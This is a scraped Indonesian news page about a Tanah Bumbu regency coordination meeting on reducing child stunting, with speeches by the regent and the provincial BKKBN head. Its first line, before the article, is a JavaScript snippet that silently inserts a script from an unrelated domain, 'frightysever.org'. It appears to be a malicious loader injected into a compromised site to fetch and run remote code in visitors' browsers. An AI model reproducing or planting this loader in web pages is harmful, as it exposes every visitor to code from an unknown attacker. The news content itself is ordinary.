(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN– Pemkab Tanah Bumbu (Tanbu) menggelar pertemuan koordinasi Tim Percepatan Penurunan Stunting (TPPS) di Gedung Kapet Desa Sari Gadung Kecamatan Simpang Empat, Rabu (21/9/2022) pagi.
Langkah ini wujud sinergitas antara peran Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (DP3AP2KB), bersama Badan Kependudukan dan Keluarga Berencana Nasional (BKKBN) Provinsi Kalimantan Selatan.
Pemkab Tanbu dalam pembahasan Penguatan Sinergitas Percepatan Penurunan Stunting Tahun Anggaran 2022, memperoleh berbagai prestasi menakjubkan dalam inovasi dan upayanya menurunkan angka stunting di daerah.
Kepala BKKBN Provinsi Kalimantan Selatan, Ir H Ramlan, menyampaikan upaya dalam penurunan stunting ini dilakukan untuk mewujudkan generasi tumbuh sehat dan cerdas, dan keinginan kita bisa sampai level zero (nol) stunting.
Baca juga : AYO DAFTAR. Bawaslu Balangan Buka Pendaftaran Calon Panwascam untuk Pemilu 2024
Kegiatan dibuka langsung oleh Bupati Kabupaten Tanah Bumbu, Abah HM Zairullah Azhar, dalam sambutannya Bupati memaparkan, apa yang Pemerintah Daerah lakukan ini sangat lah penting dan mendasar. Sekaligus sebagai bentuk tanggung jawab bersama. Bupati Zairullah juga memastikan semua pihak terkait telah berhadir pada pertemuan koordinasi dalam Penguatan Sinergitas Percepatan Penurunan Stunting.
“Semoga menghasilkan inplementasi terbaik, ini memotivasi kita semua untuk bergerak, stunting menjadi perhatian yang sangat serius bagi Pemerintah, karena banyak aspek yang bisa kita cegah dan atasi,“ katanya.
Bicara tentang gizi sebagai faktor stunting, tak luput ikut melibatkan persoalan ekonomi dan pendidikan. Stunting di Indonesia menjadi salah satu fokus.
“Kita hanya mampu melaksanakan tugas dan tanggung jawab jikamana kita bersikap sungguh-sungguh. Punya komitmen dan tidak menyia-nyiakan. Seluruh masyarakat harus terlibat sehingga sosialisasi memang penting dilaksanakan pada semua tingkatan juga di jenjang sekolahan,” imbaunya.
Baca juga : Plt Bupati HSU Harap Program Regosek Bantu Program Pemerintah Lebih Terarah
Masalah stunting, bukanlah hal yang dianggap sederhana, jika ada masyarakat yang mengalami stunting, bagi Pemerintah dan para aparat pembawa amanah tugas dimaksudkan bisa mengatasi hal tersebut.
“Langkah koordinatif harus maksimal dilakukan, pertemuan hari ini harus dimaknai betul-betul, kita keluar dari rapat ini harus optimis, bisa menyelesaikan masalah stunting dan bisa menurunkan angkanya,” tutup Bupati Zairullah. (Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : cell
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.